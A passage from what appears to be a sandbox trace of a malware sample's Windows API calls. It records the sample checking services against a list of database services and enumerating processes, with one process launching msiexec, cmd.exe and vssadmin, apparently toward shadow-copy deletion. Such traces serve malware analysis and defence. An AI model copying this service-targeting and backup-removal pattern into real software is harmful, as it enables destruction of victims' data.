(lpString="SysMain") returned 7 [0134.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0134.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0134.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0134.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0134.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0134.267] lstrlenW (lpString="Themes") returned 6 [0134.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0134.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0134.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0134.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0134.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0134.268] lstrlenW (lpString="TrkWks") returned 6 [0134.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0134.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0134.268] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0134.268] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0134.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0134.268] lstrlenW (lpString="UxSms") returned 5 [0134.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0134.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0134.268] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0134.268] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0134.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0134.268] lstrlenW (lpString="VSS") returned 3 [0134.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0134.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0134.268] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0134.268] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0134.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0134.268] lstrlenW (lpString="W32Time") returned 7 [0134.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0134.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0134.268] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0134.268] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0134.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0134.268] lstrlenW (lpString="WdiServiceHost") returned 14 [0134.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0134.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0134.268] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0134.268] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0134.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0134.268] lstrlenW (lpString="WdiSystemHost") returned 13 [0134.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0134.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0134.269] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0134.269] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0134.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0134.269] lstrlenW (lpString="WinDefend") returned 9 [0134.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0134.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0134.269] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0134.269] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0134.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0134.269] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0134.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0134.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0134.269] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0134.269] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0134.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0134.269] lstrlenW (lpString="Winmgmt") returned 7 [0134.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0134.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0134.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0134.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0134.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0134.269] lstrlenW (lpString="wscsvc") returned 6 [0134.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0134.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0134.269] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0134.269] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0134.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0134.269] lstrlenW (lpString="wuauserv") returned 8 [0134.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0134.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0134.269] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0134.269] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0134.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0134.272] Process32FirstW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.273] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.273] lstrlenW (lpString="System") returned 6 [0134.274] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.275] lstrlenW (lpString="smss.exe") returned 8 [0134.275] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.276] lstrlenW (lpString="csrss.exe") returned 9 [0134.276] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.276] lstrlenW (lpString="wininit.exe") returned 11 [0134.276] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.277] lstrlenW (lpString="csrss.exe") returned 9 [0134.277] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.278] lstrlenW (lpString="winlogon.exe") returned 12 [0134.278] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.279] lstrlenW (lpString="services.exe") returned 12 [0134.279] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.280] lstrlenW (lpString="lsass.exe") returned 9 [0134.280] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0134.281] lstrlenW (lpString="lsm.exe") returned 7 [0134.281] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.282] lstrlenW (lpString="svchost.exe") returned 11 [0134.282] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.283] lstrlenW (lpString="svchost.exe") returned 11 [0134.283] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.284] lstrlenW (lpString="svchost.exe") returned 11 [0134.284] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.284] lstrlenW (lpString="svchost.exe") returned 11 [0134.284] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.285] lstrlenW (lpString="svchost.exe") returned 11 [0134.285] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.286] lstrlenW (lpString="audiodg.exe") returned 11 [0134.286] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.287] lstrlenW (lpString="svchost.exe") returned 11 [0134.287] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.288] lstrlenW (lpString="svchost.exe") returned 11 [0134.288] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.289] lstrlenW (lpString="dwm.exe") returned 7 [0134.289] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.290] lstrlenW (lpString="explorer.exe") returned 12 [0134.290] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.291] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.291] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.292] lstrlenW (lpString="taskhost.exe") returned 12 [0134.292] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.292] lstrlenW (lpString="svchost.exe") returned 11 [0134.292] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0134.293] lstrlenW (lpString="taskeng.exe") returned 11 [0134.293] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.294] lstrlenW (lpString="taskhost.exe") returned 12 [0134.294] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0134.295] lstrlenW (lpString="fixwaves.exe") returned 12 [0134.295] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0134.296] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0134.296] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0134.297] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0134.297] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0134.298] lstrlenW (lpString="monsaver.exe") returned 12 [0134.298] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0134.299] lstrlenW (lpString="dosesugar.exe") returned 13 [0134.299] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0134.300] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0134.300] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0134.300] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0134.301] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0134.301] lstrlenW (lpString="nonprofit top.exe") returned 17 [0134.301] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0134.302] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0134.302] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0134.303] lstrlenW (lpString="accused.exe") returned 11 [0134.303] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0134.304] lstrlenW (lpString="governance.exe") returned 14 [0134.304] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0134.305] lstrlenW (lpString="old.exe") returned 7 [0134.305] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0134.306] lstrlenW (lpString="xi cg.exe") returned 9 [0134.306] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0134.307] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0134.307] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0134.308] lstrlenW (lpString="burlington.exe") returned 14 [0134.308] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0134.309] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0134.309] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0134.310] lstrlenW (lpString="buildings.exe") returned 13 [0134.310] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0134.310] lstrlenW (lpString="predictions_took.exe") returned 20 [0134.310] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0134.311] lstrlenW (lpString="carry_dns.exe") returned 13 [0134.311] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0134.312] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0134.312] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.313] lstrlenW (lpString="svchost.exe") returned 11 [0134.313] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0134.314] lstrlenW (lpString="sppsvc.exe") returned 10 [0134.314] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.315] lstrlenW (lpString="svchost.exe") returned 11 [0134.315] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0134.316] lstrlenW (lpString="msiexec.exe") returned 11 [0134.316] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0134.317] lstrlenW (lpString="cmd.exe") returned 7 [0134.317] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.317] lstrlenW (lpString="conhost.exe") returned 11 [0134.317] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0134.318] lstrlenW (lpString="vssadmin.exe") returned 12 [0134.318] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0134.319] lstrlenW (lpString="VSSVC.exe") returned 9 [0134.319] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.320] lstrlenW (lpString="svchost.exe") returned 11 [0134.320] Process32NextW (in: hSnapshot=0x20c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0134.321] CloseHandle (hObject=0x20c) returned 1 [0134.321] Sleep (dwMilliseconds=0x1f4) [0134.820] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ea80 [0134.821] EnumServicesStatusExW (in: hSCManager=0x52ea80, InfoLevel=0x0, 